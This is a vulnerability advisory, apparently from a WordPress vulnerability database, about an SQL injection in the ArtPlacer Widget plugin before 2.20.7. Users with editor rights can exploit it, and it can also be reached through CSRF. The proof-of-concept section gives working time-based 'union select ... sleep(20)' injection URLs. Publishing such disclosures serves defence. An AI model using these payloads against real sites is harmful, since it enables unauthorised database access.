WordPress Plugin Vulnerabilities
ArtPlacer Widget < 2.20.7 - Editor+ SQLi
Description
The plugin does not sanitize and escape the "id" parameter before submitting the query, leading to a SQLI exploitable by editors and above. Note: Due to the lack of CSRF check, the issue could also be exploited via a CSRF against a logged editor (or above)
Proof of Concept
As an editor, open https://example.com/wp-admin/admin.php?page=edit-art-placer&id=1+union+select+1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C%28sleep%2820%29%29 Other POC: https://example.com/wp-admin/admin.php?page=edit-art-placer&id=(sleep(20)) https://example.com/wp-admin/admin.php?page=edit-art-placer&id=1 union select 1,1,1,1,1,1,1,1,(sleep(20))
Affects Plugins
References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
Miscellaneous
Original Researcher
Claudio Marchesini, Enrico Marcolini
Submitter
Claudio Marchesini, Enrico Marcolini
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-12-07 (about 5 months ago)
Added
2023-12-07 (about 5 months ago)
Last Updated
2023-12-07 (about 5 months ago)